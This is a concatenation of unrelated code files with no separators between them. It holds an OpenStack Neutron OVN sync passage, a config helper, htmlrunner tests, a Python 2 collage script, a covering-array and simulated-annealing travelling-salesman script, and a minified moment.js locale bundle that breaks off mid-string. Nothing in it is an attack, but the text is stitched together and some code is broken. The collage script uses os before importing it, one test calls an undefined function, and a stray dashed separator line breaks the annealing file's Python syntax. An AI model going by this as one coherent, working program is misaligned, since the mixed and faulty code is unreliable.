txn.add(self.ovn_api.delete_lswitch_port( lport_name=lport, lswitch_name=lswitch)) for lport_info in del_lports_list: LOG.warning("Port found in OVN but not in " "Neutron, port_id=%s", lport_info['port']) if self.mode == SYNC_MODE_REPAIR: LOG.debug('Deleting the port %s from OVN NB DB', lport_info['port']) txn.add(self.ovn_api.delete_lswitch_port( lport_name=lport_info['port'], lswitch_name=lport_info['lswitch'])) if lport_info['port'] in ovn_all_dhcp_options['ports_v4']: LOG.debug('Deleting port DHCPv4 options for (port %s)', lport_info['port']) txn.add(self.ovn_api.delete_dhcp_options( ovn_all_dhcp_options['ports_v4'].pop( lport_info['port'])['uuid'])) if lport_info['port'] in ovn_all_dhcp_options['ports_v6']: LOG.debug('Deleting port DHCPv6 options for (port %s)', lport_info['port']) txn.add(self.ovn_api.delete_dhcp_options( ovn_all_dhcp_options['ports_v6'].pop( lport_info['port'])['uuid'])) self._sync_port_dhcp_options(ctx, ports_need_sync_dhcp_opts, ovn_all_dhcp_options['ports_v4'], ovn_all_dhcp_options['ports_v6']) LOG.debug('OVN-NB Sync networks, ports and DHCP options finished') def sync_port_dns_records(self, ctx): if self.mode != SYNC_MODE_REPAIR: return LOG.debug('OVN-NB Sync port dns records') # Ignore the floating ip ports with device_owner set to # constants.DEVICE_OWNER_FLOATINGIP db_ports = [port for port in self.core_plugin.get_ports(ctx) if not port.get('device_owner', '').startswith( constants.DEVICE_OWNER_FLOATINGIP)] dns_records = {} for port in db_ports: if self._ovn_client.is_dns_required_for_port(port): port_dns_records = self._ovn_client.get_port_dns_records(port) if port['network_id'] not in dns_records: dns_records[port['network_id']] = {} dns_records[port['network_id']].update(port_dns_records) for network_id, port_dns_records in dns_records.items(): self._set_dns_records(network_id, port_dns_records) def _set_dns_records(self, network_id, dns_records): lswitch_name = utils.ovn_name(network_id) ls, ls_dns_record = self.ovn_api.get_ls_and_dns_record(lswitch_name) with self.ovn_api.transaction(check_error=True) as txn: if not ls_dns_record: dns_add_txn = txn.add(self.ovn_api.dns_add( external_ids={'ls_name': ls.name}, records=dns_records)) txn.add(self.ovn_api.ls_set_dns_records(ls.uuid, dns_add_txn)) else: txn.add(self.ovn_api.dns_set_records(ls_dns_record.uuid, **dns_records)) def _delete_address_sets(self, ctx): with self.ovn_api.transaction(check_error=True) as txn: for sg in self.core_plugin.get_security_groups(ctx): for ip_version in ['ip4', 'ip6']: txn.add(self.ovn_api.delete_address_set( utils.ovn_addrset_name(sg['id'], ip_version))) def _delete_acls_from_lswitches(self, ctx): with self.ovn_api.transaction(check_error=True) as txn: for net in self.core_plugin.get_networks(ctx): # Calling acl_del from ovsdbapp with no ACL will delete # all the ACLs belonging to that Logical Switch. txn.add(self.ovn_api.acl_del(utils.ovn_name(net['id']))) def _create_sg_port_groups_and_acls(self, ctx, db_ports): # Create a Port Group per Neutron Security Group with self.ovn_api.transaction(check_error=True) as txn: for sg in self.core_plugin.get_security_groups(ctx): pg_name = utils.ovn_port_group_name(sg['id']) if self.ovn_api.get_port_group(pg_name): continue ext_ids = {ovn_const.OVN_SG_EXT_ID_KEY: sg['id']} txn.add(self.ovn_api.pg_add( name=pg_name, acls=[], external_ids=ext_ids)) acl_utils.add_acls_for_sg_port_group( self.ovn_api, sg, txn, self._ovn_client.is_allow_stateless_supported()) for port in db_ports: for sg in port['security_groups']: txn.add(self.ovn_api.pg_add_ports( utils.ovn_port_group_name(sg), port['id'])) def migrate_to_stateless_fips(self, ctx): # This routine will set options:stateless=true for all dnat_and_snats # that belong to neutron fips. with self.ovn_api.transaction(check_error=True) as txn: for nat in self.ovn_api.get_all_stateful_fip_nats(): txn.add(self.ovn_api.db_set( 'NAT', nat['_uuid'], ('options', {'stateless': 'true'}))) def migrate_to_port_groups(self, ctx): # This routine is responsible for migrating the current Security # Groups and SG Rules to the new Port Groups implementation. # 1. Create a Port Group for every existing Neutron Security Group and # add all its Security Group Rules as ACLs to that Port Group. # 2. Delete all existing Address Sets in NorthBound database which # correspond to a Neutron Security Group. # 3. Delete all the ACLs in every Logical Switch (Neutron network). # If we've already migrated, return if not self.ovn_api.get_address_sets(): return LOG.debug('Port Groups Migration task started') # Ignore the floating ip ports with device_owner set to # constants.DEVICE_OWNER_FLOATINGIP db_ports = [port for port in self.core_plugin.get_ports(ctx) if not utils.is_lsp_ignored(port) and not utils.is_lsp_trusted(port) and utils.is_port_security_enabled(port)] self._create_sg_port_groups_and_acls(ctx, db_ports) self._delete_address_sets(ctx) self._delete_acls_from_lswitches(ctx) LOG.debug('Port Groups Migration task finished') def sync_port_qos_policies(self, ctx): """Sync port QoS policies. This method reads the port QoS policy assigned or the one inherited from the network. Does not apply to "network" owned ports. """ LOG.debug('Port QoS policies migration task started') ovn_qos_ext = ovn_qos.OVNClientQosExtension(nb_idl=self.ovn_api) with db_api.CONTEXT_READER.using(ctx), \ self.ovn_api.transaction(check_error=True) as txn: for port in self.core_plugin.get_ports(ctx): if not ovn_qos_ext.port_effective_qos_policy_id(port)[0]: continue ovn_qos_ext.create_port(txn, port) LOG.debug('Port QoS policies migration task finished') def sync_fip_qos_policies(self, ctx): """Sync floating IP QoS policies.""" LOG.debug('Floating IP QoS policies migration task started') ovn_qos_ext = ovn_qos.OVNClientQosExtension(nb_idl=self.ovn_api) with db_api.CONTEXT_READER.using(ctx), \ self.ovn_api.transaction(check_error=True) as txn: for fip in self.l3_plugin.get_floatingips(ctx): if not fip.get('qos_policy_id'): continue ovn_qos_ext.create_floatingip(txn, fip) LOG.debug('Floating IP QoS policies migration task finished') class OvnSbSynchronizer(OvnDbSynchronizer): """Synchronizer class for SB.""" def __init__(self, core_plugin, ovn_api, ovn_driver): super(OvnSbSynchronizer, self).__init__( core_plugin, ovn_api, ovn_driver) self.l3_plugin = directory.get_plugin(plugin_constants.L3) def do_sync(self): """Method to sync the OVN_Southbound DB with neutron DB. OvnSbSynchronizer will sync data from OVN_Southbound to neutron. And the synchronization will always be performed, no matter what mode it is. """ LOG.debug("Starting OVN-Southbound DB sync process") ctx = context.get_admin_context() self.sync_hostname_and_physical_networks(ctx) if utils.is_ovn_l3(self.l3_plugin): self.l3_plugin.schedule_unhosted_gateways() # NOTE(ralonsoh): this could be called using a resource event. self.ovn_driver._ovn_client.placement_extension.\ read_initial_chassis_config() def sync_hostname_and_physical_networks(self, ctx): LOG.debug('OVN-SB Sync hostname and physical networks started') host_phynets_map = self.ovn_api.get_chassis_hostname_and_physnets() current_hosts = set(host_phynets_map) previous_hosts = segments_db.get_hosts_mapped_with_segments(ctx) stale_hosts = previous_hosts - current_hosts for host in stale_hosts: LOG.debug('Stale host %s found in Neutron, but not in OVN SB DB. ' 'Clear its SegmentHostMapping in Neutron', host) self.ovn_driver.update_segment_host_mapping(host, []) new_hosts = current_hosts - previous_hosts for host in new_hosts: LOG.debug('New host %s found in OVN SB DB, but not in Neutron. ' 'Add its SegmentHostMapping in Neutron', host) self.ovn_driver.update_segment_host_mapping( host, host_phynets_map[host]) for host in current_hosts & previous_hosts: LOG.debug('Host %s found both in OVN SB DB and Neutron. ' 'Trigger updating its SegmentHostMapping in Neutron, ' 'to keep OVN SB DB and Neutron have consistent data', host) self.ovn_driver.update_segment_host_mapping( host, host_phynets_map[host]) LOG.debug('OVN-SB Sync hostname and physical networks finished')
import os.path from configparser import ConfigParser paths_section = 'PATHS' default_path = "./cfg/config.ini" # All options are placed here in dict with default values to be easier to configurate default_options_dict = { "git_bash_path": "/bin/bash", } class Config: def __init__(self, path=default_path): self.path = path self.config_parser = ConfigParser() if os.path.isfile(self.path): self.config_parser.read(self.path) self.git_bash_path = self.get_paths_option("git_bash_path") def get_paths_option(self, option_name): """Returns PATHS option from config if exist, else returns default value""" if self.config_parser.has_option(paths_section, option_name): return self.config_parser[paths_section][option_name] else: return default_options_dict[option_name]
import os import sys sys.path.append('/Users/apple/Documents/Projects/Self/PyPi/htmlrunner') import unittest from htmlrunner import Runner, HTMLRunner from htmlrunner.loader import group_test_by_class, flatten_suite from htmlrunner.result import Result basedir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) testpath = os.path.join(basedir, 'tests', 'data') suite = unittest.defaultTestLoader.discover(testpath) result = Result() runner = Runner() # test_error (demo2.demo22.test_demo22.TestDemo22) <class 'demo2.demo22.test_demo22.TestDemo22'> (<class 'FileNotFoundError'>, FileNotFoundError(2, 'No such file or directory'), <traceback object at 0x110029208>) <class 'tuple'> # setUpModule (demo2.test_demo2) <class 'unittest.suite._ErrorHolder'> (<class 'NameError'>, NameError("name 'sleep' is not defined",), <traceback object at 0x110002088>) <class 'tuple'> # tearDownModule (demo2.test_demo2) <class 'unittest.suite._ErrorHolder'> (<class 'NameError'>, NameError("name 'sleep' is not defined",), <traceback object at 0x100eed088>) <class 'tuple'> # setUpClass (demo2.test_demo2.TestDemo2) <class 'unittest.suite._ErrorHolder'> (<class 'NameError'>, NameError("name 'sleep' is not defined",), <traceback object at 0x10d0eb908>) <class 'tuple'> def test_result_setup_module_error(): suite = unittest.defaultTestLoader.discover(testpath) runner.run_suite(suite, result) print(result) def test_flatten_suite(): suite = unittest.defaultTestLoader.discover(testpath) suite = flatten_suite(suite) print(suite.countTestCases()) assert suite.countTestCases() == 16 def test_collect_only(): suite = unittest.defaultTestLoader.discover(testpath) runner.collect_only(suite) def test_run_suite(): suite = unittest.defaultTestLoader.discover(testpath) result = unittest.result.TestResult() runner.run_suite(suite, result) print(result) def test_run_suite_in_thread_poll(): suite = unittest.defaultTestLoader.discover(testpath) result = unittest.result.TestResult() runner.run_suite_in_thread_poll(suite, result) print(result) def test_group_suites_by_class(): suite = unittest.defaultTestLoader.discover(testpath) suite_list = group_suites_by_class(suite) assert 3 == len(suite_list) def test_with_default_template(): suite = unittest.defaultTestLoader.discover(testpath) HTMLRunner(report_file="report.html", title="测试报告", description="测试报告描述", tester='Hzc').run(suite) def test_with_htmltestreportcn_template(): suite = unittest.defaultTestLoader.discover(testpath) HTMLRunner(report_file="report_httptestreportcn.html", title="测试报告", description="测试报告描述", tester='Hzc',template='htmltestreportcn').run(suite) def test_with_pytest_html_template(): suite = unittest.defaultTestLoader.discover(testpath) HTMLRunner(report_file="pyunit.html", title="测试报告", description="测试报告描述", tester='Hzc',template='pyunit').run(suite) def test_with_threads(): suite = unittest.defaultTestLoader.discover(testpath) HTMLRunner(report_file="threads.html", title="测试报告", description="测试报告描述", tester='Hzc', threads=3).run(suite) def test_with_timeout(): suite = unittest.defaultTestLoader.discover(testpath) print(suite.countTestCases()) HTMLRunner(report_file="threads.html", title="测试报告", description="测试报告描述", tester='Hzc', threads=1, timeout=1).run(suite) def test_with_images(): class TestA(unittest.TestCase): def test_a(self): """order:2""" pass def test_b(self): self.images = ['/Users/superhin/Downloads/beida.jpeg'] pass def test_c(self): """order:1""" pass suite = unittest.defaultTestLoader.loadTestsFromTestCase(TestA) print('666666666666') HTMLRunner(report_file="threads.html", title="测试报告", description="测试报告描述", tester='Hzc', threads=1, timeout=1).run(suite) if __name__ == "__main__": test_with_images()
#!/usr/bin/env python2 import Image import sys padding_x = 16 padding_y = 8 width = 800 if len(sys.argv) < 3: self_name = os.path.basename(__file__) print '* Usage: %s <images> <output>' % self_name sys.exit(-1) if len(sys.argv) == 3: flist = [] import os for filename in os.listdir(sys.argv[1]): flist.append(sys.argv[1]+'/'+filename) else: flist = sys.argv[1:-1] class Row(object): pass rows = [] row = None for filename in flist: img = Image.open(filename) if row is None or row.width + img.size[0] + padding_x > width: row = Row() rows.append(row) row.images = [] row.width = padding_x row.height = 0 row.images.append(img) row.width += img.size[0] + padding_x row.height = max(row.height, img.size[1]) height = padding_y for row in rows: height += row.height + padding_y collage = Image.new('RGB', (width, height), (255, 255, 255)) pos_y = padding_y for row in rows: pos_x = (width - row.width) / 2 + padding_x for img in row.images: collage.paste(img, (pos_x, pos_y + (row.height - img.size[1])/2)) pos_x += img.size[0] + padding_x pos_y += row.height + padding_y collage.save(sys.argv[-1])
# -*- coding: utf-8 -*- from __future__ import print_function import math import random from simanneal import Annealer import itertools import matplotlib.pyplot as plt def MCA(t, k, v, printable): ''' This function takes a strength, number of rows and value and generates an exhaustive MCA for the given parameters int, int, int -> void ''' allrows = [] t = int(t) k = int(k) v = int(v) N = v**k #print("Here are t:", t,"k:", k, "v:", v) #print(N, "rows") for i in range(N): singlerow = numToRow(i,v,k) allrows.append(singlerow) if(printable != "none"): if(printable != "all"): if str(i) in printable: print("Row number:",i, "Row:",singlerow) else: print(singlerow) return allrows def numToRow(number, base, length): ''' This function takes a number in base 10 and converts it to base, base, and then creates an array that is length long, adding leading zeros int, int, int -> list ''' #converts a number to an array in a specific base shortrow = numberToBase(number, base) #then adds a certain number of 0s target = length-len(shortrow) temp = [0]*target return temp+shortrow #Taken from here #https://stackoverflow.com/questions/2267362/how-to-convert-an-integer-in-any-base-to-a-string def numberToBase(n, b): if n == 0: return [0] digits = [] while n: digits.append(int(n % b)) n //= b return digits[::-1] def colCombos(k, t): return list(itertools.combinations([i for i in range(int(k))],int(t))) #https://stackoverflow.com/questions/4941753/is-there-a-math-ncr-function-in-python def nCr(n,r): n = int(n) r = int(r) f = math.factorial return f(n) / f(r) / f(n-r) def valueCombos(v, t): #Just a more simple version of the MCA function allrows = [] N = v**t for i in range(N): singlerow = numToRow(i,v,t) allrows.append(singlerow) return allrows def runonce(t,k,v): exhArr = MCA(t,k,v,"none") #we now have the possible rows #rows = input("Enter rows to print seperated by a comma, all, or nothing: ") #if rows == "": # exhArr = MCA(t,k,v, "none") #elif rows == "all": # exhArr = MCA(t,k,v, "all") #else: # exhArr = MCA(t,k,v,rows.split(",")) randomMCA = [] t = int(t) k = int(k) v = int(v) #next get all indexes for columns with strength t colcombo = colCombos(k,t) #print(colcombo) #total interactions sigma = nCr(k,t)*(v**t) #print(sigma) #all the possible value combos values = valueCombos(v, t) #print(values) #build outer dictionary, column combos as keys, #values are dictionaries with value pairs as keys and counts as values allInt = {} for comb in colcombo: key = str(comb) #print(key) innerDict = {} for value in values: valkey = str(value) innerDict[valkey] = 0 allInt[key] = innerDict #now we have a storage structure for interactions #print(allInt) #add a row of 0s randomMCA.append([0]*k) #remove the count of those interactions sigma -= len(colcombo) #take out the 0th possibility exhArr.remove([0]*k) #mark in the hashmap that 0's are taken for colcom in colcombo: allInt[str(colcom)][str([0]*t)] += 1 #a row of all 0s gets takes care of as many combinations #as we have possible row combinations N = 1 while sigma > 0: #get interactions currentInter = 0 desiredInter = math.ceil(sigma/(v**t)) while (currentInter < desiredInter): currentInter = 0 tempRow = exhArr[random.randint(0,len(exhArr)-1)] #count new interactions in row for colcom in colcombo: valpair = [] for i in colcom: valpair.append(tempRow[i]) valkey = str(valpair) #print(valkey) if(allInt[str(colcom)][valkey] == 0): currentInter+=1 #if we have enough, update the hashmap if(currentInter >= desiredInter): for colcom in colcombo: valpair = [] for i in colcom: valpair.append(tempRow[i]) valkey = str(valpair) #print(valkey) if(allInt[str(colcom)][valkey] == 0): allInt[str(colcom)][valkey]+=1 sigma -= currentInter randomMCA.append(tempRow) exhArr.remove(tempRow) N+=1 #print(randomMCA) #print(N) return N def main(): #Q1 inarr = input("Enter t,k,v, seperated by a comma: ").split(",") t = inarr[0] k = inarr[1] v = inarr[2] num = (input("Enter a number of trials: ")) if(num == ""): num = 10 else: num = int(num) totalN = 0 NValues = [] ct = {} for i in range(num): currN = runonce(t,k,v) totalN+=currN NValues.append(currN) if(currN not in ct): ct[currN] = 1 else: ct[currN] += 1 NValues.sort() CountN = [] for val in NValues: CountN.append(ct[val]) titleS = "Average N for "+str(num)+ " trials at t: "+t+" k: "+k+" v: "+v+" avg: "+str(round(totalN/num,3)) plt.title(titleS) plt.plot(NValues, CountN) plt.show() print("Here are t:", t,"k:", k, "v:", v) print("Average", round(totalN/num,3)) main() ------------------------------------------------------------------------------------------SIMLATED ANNEAL EXAMPLE BELOW-------------------------------------------------------- def distance(a, b): """Calculates distance between two latitude-longitude coordinates.""" R = 3963 # radius of Earth (miles) lat1, lon1 = math.radians(a[0]), math.radians(a[1]) lat2, lon2 = math.radians(b[0]), math.radians(b[1]) return math.acos(math.sin(lat1) * math.sin(lat2) + math.cos(lat1) * math.cos(lat2) * math.cos(lon1 - lon2)) * R class TravellingSalesmanProblem(Annealer): """Test annealer with a travelling salesman problem. """ # pass extra data (the distance matrix) into the constructor def __init__(self, state, distance_matrix): self.distance_matrix = distance_matrix super(TravellingSalesmanProblem, self).__init__(state) # important! def move(self): """Swaps two cities in the route.""" # no efficiency gain, just proof of concept # demonstrates returning the delta energy (optional) initial_energy = self.energy() a = random.randint(0, len(self.state) - 1) b = random.randint(0, len(self.state) - 1) self.state[a], self.state[b] = self.state[b], self.state[a] return self.energy() - initial_energy def energy(self): """Calculates the length of the route.""" e = 0 for i in range(len(self.state)): e += self.distance_matrix[self.state[i-1]][self.state[i]] return e if __name__ == '__main__': # latitude and longitude for the twenty largest U.S. cities cities = { 'New York City': (40.72, 74.00), 'Los Angeles': (34.05, 118.25), 'Chicago': (41.88, 87.63), 'Houston': (29.77, 95.38), 'Phoenix': (33.45, 112.07), 'Philadelphia': (39.95, 75.17), 'San Antonio': (29.53, 98.47), 'Dallas': (32.78, 96.80), 'San Diego': (32.78, 117.15), 'San Jose': (37.30, 121.87), 'Detroit': (42.33, 83.05), 'San Francisco': (37.78, 122.42), 'Jacksonville': (30.32, 81.70), 'Indianapolis': (39.78, 86.15), 'Austin': (30.27, 97.77), 'Columbus': (39.98, 82.98), 'Fort Worth': (32.75, 97.33), 'Charlotte': (35.23, 80.85), 'Memphis': (35.12, 89.97), 'Baltimore': (39.28, 76.62) } # initial state, a randomly-ordered itinerary init_state = list(cities.keys()) random.shuffle(init_state) # create a distance matrix distance_matrix = {} for ka, va in cities.items(): distance_matrix[ka] = {} for kb, vb in cities.items(): if kb == ka: distance_matrix[ka][kb] = 0.0 else: distance_matrix[ka][kb] = distance(va, vb) tsp = TravellingSalesmanProblem(init_state, distance_matrix) tsp.set_schedule(tsp.auto(minutes=0.2)) # since our state is just a list, slice is the fastest way to copy tsp.copy_strategy = "slice" state, e = tsp.anneal() while state[0] != 'New York City': state = state[1:] + state[:1] # rotate NYC to start print() print("%i mile route:" % e) print(" ➞ ".join(state))
/*! For license information please see 9-es2015.e427e1d609a09ca5c9a1.js.LICENSE.txt */ (window.webpackJsonp=window.webpackJsonp||[]).push([[9],{"+s0g":function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),n="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),a=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],r=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"\xe9\xe9n minuut",mm:"%d minuten",h:"\xe9\xe9n uur",hh:"%d uur",d:"\xe9\xe9n dag",dd:"%d dagen",w:"\xe9\xe9n week",ww:"%d weken",M:"\xe9\xe9n maand",MM:"%d maanden",y:"\xe9\xe9n jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n("wd/R"))},"//9w":function(e,t,n){!function(e){"use strict";e.defineLocale("se",{months:"o\u0111\u0111ajagem\xe1nnu_guovvam\xe1nnu_njuk\u010dam\xe1nnu_cuo\u014bom\xe1nnu_miessem\xe1nnu_geassem\xe1nnu_suoidnem\xe1nnu_borgem\xe1nnu_\u010dak\u010dam\xe1nnu_golggotm\xe1nnu_sk\xe1bmam\xe1nnu_juovlam\xe1nnu".split("_"),monthsShort:"o\u0111\u0111j_guov_njuk_cuo_mies_geas_suoi_borg_\u010dak\u010d_golg_sk\xe1b_juov".split("_"),weekdays:"sotnabeaivi_vuoss\xe1rga_ma\u014b\u014beb\xe1rga_gaskavahkku_duorastat_bearjadat_l\xe1vvardat".split("_"),weekdaysShort:"sotn_vuos_ma\u014b_gask_duor_bear_l\xe1v".split("_"),weekdaysMin:"s_v_m_g_d_b_L".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"MMMM D. [b.] YYYY",LLL:"MMMM D. [b.] YYYY [ti.] HH:mm",LLLL:"dddd, MMMM D. [b.] YYYY [ti.] HH:mm"},calendar:{sameDay:"[otne ti] LT",nextDay:"[ihttin ti] LT",nextWeek:"dddd [ti] LT",lastDay:"[ikte ti] LT",lastWeek:"[ovddit] dddd [ti] LT",sameElse:"L"},relativeTime:{future:"%s gea\u017ees",past:"ma\u014bit %s",s:"moadde sekunddat",ss:"%d sekunddat",m:"okta minuhta",mm:"%d minuhtat",h:"okta diimmu",hh:"%d diimmut",d:"okta beaivi",dd:"%d beaivvit",M:"okta m\xe1nnu",MM:"%d m\xe1nut",y:"okta jahki",yy:"%d jagit"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},"/X5v":function(e,t,n){!function(e){"use strict";e.defineLocale("x-pseudo",{months:"J~\xe1\xf1\xfa\xe1~r\xfd_F~\xe9br\xfa~\xe1r\xfd_~M\xe1rc~h_\xc1p~r\xedl_~M\xe1\xfd_~J\xfa\xf1\xe9~_J\xfal~\xfd_\xc1\xfa~g\xfast~_S\xe9p~t\xe9mb~\xe9r_\xd3~ct\xf3b~\xe9r_\xd1~\xf3v\xe9m~b\xe9r_~D\xe9c\xe9~mb\xe9r".split("_"),monthsShort:"J~\xe1\xf1_~F\xe9b_~M\xe1r_~\xc1pr_~M\xe1\xfd_~J\xfa\xf1_~J\xfal_~\xc1\xfag_~S\xe9p_~\xd3ct_~\xd1\xf3v_~D\xe9c".split("_"),monthsParseExact:!0,weekdays:"S~\xfa\xf1d\xe1~\xfd_M\xf3~\xf1d\xe1\xfd~_T\xfa\xe9~sd\xe1\xfd~_W\xe9d~\xf1\xe9sd~\xe1\xfd_T~h\xfars~d\xe1\xfd_~Fr\xedd~\xe1\xfd_S~\xe1t\xfar~d\xe1\xfd".split("_"),weekdaysShort:"S~\xfa\xf1_~M\xf3\xf1_~T\xfa\xe9_~W\xe9d_~Th\xfa_~Fr\xed_~S\xe1t".split("_"),weekdaysMin:"S~\xfa_M\xf3~_T\xfa_~W\xe9_T~h_Fr~_S\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[T~\xf3d\xe1~\xfd \xe1t] LT",nextDay:"[T~\xf3m\xf3~rr\xf3~w \xe1t] LT",nextWeek:"dddd [\xe1t] LT",lastDay:"[\xdd~\xe9st~\xe9rd\xe1~\xfd \xe1t] LT",lastWeek:"[L~\xe1st] dddd [\xe1t] LT",sameElse:"L"},relativeTime:{future:"\xed~\xf1 %s",past:"%s \xe1~g\xf3",s:"\xe1 ~f\xe9w ~s\xe9c\xf3~\xf1ds",ss:"%d s~\xe9c\xf3\xf1~ds",m:"\xe1 ~m\xed\xf1~\xfat\xe9",mm:"%d m~\xed\xf1\xfa~t\xe9s",h:"\xe1~\xf1 h\xf3~\xfar",hh:"%d h~\xf3\xfars",d:"\xe1 ~d\xe1\xfd",dd:"%d d~\xe1\xfds",M:"\xe1 ~m\xf3\xf1~th",MM:"%d m~\xf3\xf1t~hs",y:"\xe1 ~\xfd\xe9\xe1r",yy:"%d \xfd~\xe9\xe1rs"},dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n("wd/R"))},"0mo+":function(e,t,n){!function(e){"use strict";var t={1:"\u0f21",2:"\u0f22",3:"\u0f23",4:"\u0f24",5:"\u0f25",6:"\u0f26",7:"\u0f27",8:"\u0f28",9:"\u0f29",0:"\u0f20"},n={"\u0f21":"1","\u0f22":"2","\u0f23":"3","\u0f24":"4","\u0f25":"5","\u0f26":"6","\u0f27":"7","\u0f28":"8","\u0f29":"9","\u0f20":"0"};e.defineLocale("bo",{months:"\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f51\u0f44\u0f0b\u0f54\u0f7c_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f42\u0f49\u0f72\u0f66\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f42\u0f66\u0f74\u0f58\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f56\u0f5e\u0f72\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f63\u0f94\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f51\u0fb2\u0f74\u0f42\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f56\u0f51\u0f74\u0f53\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f56\u0f62\u0f92\u0fb1\u0f51\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f51\u0f42\u0f74\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f56\u0f45\u0f74\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f56\u0f45\u0f74\u0f0b\u0f42\u0f45\u0f72\u0f42\u0f0b\u0f54_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b\u0f56\u0f45\u0f74\u0f0b\u0f42\u0f49\u0f72\u0f66\u0f0b\u0f54".split("_"),monthsShort:"\u0f5f\u0fb3\u0f0b1_\u0f5f\u0fb3\u0f0b2_\u0f5f\u0fb3\u0f0b3_\u0f5f\u0fb3\u0f0b4_\u0f5f\u0fb3\u0f0b5_\u0f5f\u0fb3\u0f0b6_\u0f5f\u0fb3\u0f0b7_\u0f5f\u0fb3\u0f0b8_\u0f5f\u0fb3\u0f0b9_\u0f5f\u0fb3\u0f0b10_\u0f5f\u0fb3\u0f0b11_\u0f5f\u0fb3\u0f0b12".split("_"),monthsShortRegex:/^(\u0f5f\u0fb3\u0f0b\d{1,2})/,monthsParseExact:!0,weekdays:"\u0f42\u0f5f\u0f60\u0f0b\u0f49\u0f72\u0f0b\u0f58\u0f0b_\u0f42\u0f5f\u0f60\u0f0b\u0f5f\u0fb3\u0f0b\u0f56\u0f0b_\u0f42\u0f5f\u0f60\u0f0b\u0f58\u0f72\u0f42\u0f0b\u0f51\u0f58\u0f62\u0f0b_\u0f42\u0f5f\u0f60\u0f0b\u0f63\u0fb7\u0f42\u0f0b\u0f54\u0f0b_\u0f42\u0f5f\u0f60\u0f0b\u0f55\u0f74\u0f62\u0f0b\u0f56\u0f74_\u0f42\u0f5f\u0f60\u0f0b\u0f54\u0f0b\u0f66\u0f44\u0f66\u0f0b_\u0f42\u0f5f\u0f60\u0f0b\u0f66\u0fa4\u0f7a\u0f53\u0f0b\u0f54\u0f0b".split("_"),weekdaysShort:"\u0f49\u0f72\u0f0b\u0f58\u0f0b_\u0f5f\u0fb3\u0f0b\u0f56\u0f0b_\u0f58\u0f72\u0f42\u0f0b\u0f51\u0f58\u0f62\u0f0b_\u0f63\u0fb7\u0f42\u0f0b\u0f54\u0f0b_\u0f55\u0f74\u0f62\u0f0b\u0f56\u0f74_\u0f54\u0f0b\u0f66\u0f44\u0f66\u0f0b_\u0f66\u0fa4\u0f7a\u0f53\u0f0b\u0f54\u0f0b".split("_"),weekdaysMin:"\u0f49\u0f72_\u0f5f\u0fb3_\u0f58\u0f72\u0f42_\u0f63\u0fb7\u0f42_\u0f55\u0f74\u0f62_\u0f66\u0f44\u0f66_\u0f66\u0fa4\u0f7a\u0f53".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A 